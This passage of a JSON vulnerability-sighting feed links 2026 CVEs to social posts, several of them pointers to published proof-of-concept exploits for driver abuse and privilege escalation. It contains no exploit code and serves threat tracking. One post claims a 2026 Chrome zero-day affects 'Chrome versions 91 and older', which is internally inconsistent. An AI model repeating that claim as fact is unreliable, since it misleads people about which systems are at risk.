CVE-2026-36425 in ardrv.sys to gain h\u2026\n\nhttps://en.hacks.gr/o-efialtis-ton-drivers-pos-oi-chaker-ekmetalleyontai-tin-opswat-gia-na-exoydeterosoyn-to-antivirus-soy/\n\n#SparkRAT #CVE202636425 #BYOVD", "creation_timestamp": "2026-09-01T22:13:15.116070Z"}, {"uuid": "49f65769-aaf8-4c23-a78f-ca7b88f3bd1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36213", "type": "seen", "source": "https://t.me/HackingTeamGrupoOfficial/46767", "content": "Local Privilege Escalation (LPE) vulnerability in MEmu Android Emulator 9.2.7.0 (CVE-2026-36213)\nhttps://github.com/sec-zone/CVE-2026-36213", "creation_timestamp": "2026-09-02T06:00:07.569878Z"}, {"uuid": "af2c6cfc-2bc2-4077-9d33-a52d3a8af9ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36213", "type": "published-proof-of-concept", "source": "https://t.me/HackingTeamGrupoOfficial/46767", "content": "Local Privilege Escalation (LPE) vulnerability in MEmu Android Emulator 9.2.7.0 (CVE-2026-36213)\nhttps://github.com/sec-zone/CVE-2026-36213", "creation_timestamp": "2026-09-03T00:00:51.538105Z"}, {"uuid": "a209f12b-1689-492f-858a-8245a8a64adb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36130", "type": "published-proof-of-concept", "source": "Telegram/y_ppx2WWa40cV5hBHui4bTL2VMdA_tcaI4VaugdhOfmt8Lg", "content": "", "creation_timestamp": "2026-09-03T00:01:00.057328Z"}, {"uuid": "f3a79f80-73df-4568-90eb-de19eb886063", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36340", "type": "published-proof-of-concept", "source": "Telegram/wM44PB7rs9Na_M_NX9_ZEY8E_RYf0GtNF8Am5ZddqV3Wors", "content": "", "creation_timestamp": "2026-09-03T08:00:04.469187Z"}, {"uuid": "ecb1f3b7-9e54-46e6-ac4e-3ed527d04d55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3627", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mulylnwoan2q", "content": "\ud83d\udccc CVE-2026-3627 - IBM Concert 1.0.0 through 2.3.1 is vulnerable to SQL injection. A remote attacker could send specially crafted SQL statements, which could allow the a... https://www.cyberhub.blog/cves/CVE-2026-3627", "creation_timestamp": "2026-09-03T08:07:07.452719Z"}, {"uuid": "89b61aa9-8392-407f-b5fe-c7b7053b5ac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36340", "type": "published-proof-of-concept", "source": "Telegram/wM44PB7rs9Na_M_NX9_ZEY8E_RYf0GtNF8Am5ZddqV3Wors", "content": "", "creation_timestamp": "2026-09-04T00:00:57.002259Z"}, {"uuid": "c17d59bd-b6c7-4d44-873e-a54294f18066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36669", "type": "published-proof-of-concept", "source": "Telegram/E_WyzaOudgwaNXoA105LhIEanQUj5hipt6F_RZ98nQPfTHQ", "content": "", "creation_timestamp": "2026-09-05T13:00:04.894278Z"}, {"uuid": "795132b2-a0a3-448a-b34c-4cb181f40239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36669", "type": "published-proof-of-concept", "source": "Telegram/E_WyzaOudgwaNXoA105LhIEanQUj5hipt6F_RZ98nQPfTHQ", "content": "", "creation_timestamp": "2026-09-06T00:00:46.984063Z"}, {"uuid": "ec8d04a9-8cca-4fa8-b63b-1a402d68cf66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3611", "type": "seen", "source": "https://t.me/hacking_Attack/192742", "content": "BAS-Guardian \u2014 Updated!\n\nFree BACnet/BMS vulnerability scanner for building automation systems. Detects CVE-2026-3611 (CVSS 10.0), CVE-2026-24060, and exposed HVAC/BAS controllers via PowerShell or Bash.\nRead more...", "creation_timestamp": "2026-09-06T14:00:05.138749Z"}, {"uuid": "53531d92-6c76-4a08-9dd0-ab0bb3ccfe2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3609", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192749", "content": "AxHunter \u2014 Updated!\n\nPoCs for Wellbia XIGNCODE3 anti-cheat xhunter driver family - xhunter1.sys v2023.12.7.78 and xhunter2.sys v2026.6.1.192 (CVE-2026-15430, CVE-2026-3609).\nRead more...", "creation_timestamp": "2026-09-06T14:00:05.492983Z"}, {"uuid": "141ac172-a6ff-47f5-8257-f2b22fe33870", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3611", "type": "seen", "source": "https://t.me/hacking_Attack/192742", "content": "BAS-Guardian \u2014 Updated!\n\nFree BACnet/BMS vulnerability scanner for building automation systems. Detects CVE-2026-3611 (CVSS 10.0), CVE-2026-24060, and exposed HVAC/BAS controllers via PowerShell or Bash.\nRead more...", "creation_timestamp": "2026-09-07T01:00:12.863192Z"}, {"uuid": "d535629e-2656-4be8-a3fe-e9be859210d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3609", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/192749", "content": "AxHunter \u2014 Updated!\n\nPoCs for Wellbia XIGNCODE3 anti-cheat xhunter driver family - xhunter1.sys v2023.12.7.78 and xhunter2.sys v2026.6.1.192 (CVE-2026-15430, CVE-2026-3609).\nRead more...", "creation_timestamp": "2026-09-07T01:00:13.156248Z"}, {"uuid": "a3c30b59-64da-4314-98d4-b630a968428a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3688", "type": "seen", "source": "https://bsky.app/profile/lbtoday1.bsky.social/post/3mv3bqibz7b2w", "content": "The hacking community was abuzz last week with news of a zero-day vulnerability in Google Chrome's V8 JavaScript engine being exploited in the wild. The vulnerability, tracked as CVE-2026-3688, affects Chrome versions 91 and older. Ormandy disclosed the bug to Google, and the tech giant released a.", "creation_timestamp": "2026-09-09T10:00:48.237226Z"}, {"uuid": "0d64c2d9-3886-4fd6-a4dc-f20642b334dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36433", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mv6fpy6fdq2y", "content": "CVE-2026-36433\nThe Media Player Utilities version 4.46 can be tricked by someone standing close to the computer into running any code they choose, using its Production.dll and RdiskUpgrade.exe files. This could let an\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-10T15:50:05.395135Z"}, {"uuid": "aedb87d8-df6c-44ca-a7a7-41fba718a3b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36453", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mvgpffh7vv23", "content": "Rhymix 2.1.31\u672a\u6e80\u3067\u3001\u30d5\u30a1\u30a4\u30eb\u306b\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3055\u308c\u308b\u8106\u5f31\u6027\u3002\u653b\u6483\u8005\u306f\u5916\u90e8\u5909\u6570\u3092\u4ecb\u3057\u3066\u4efb\u610f\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u3002\nCVE-2026-36453 CVSS 7.4 | HIGH", "creation_timestamp": "2026-09-13T23:04:26.495815Z"}]}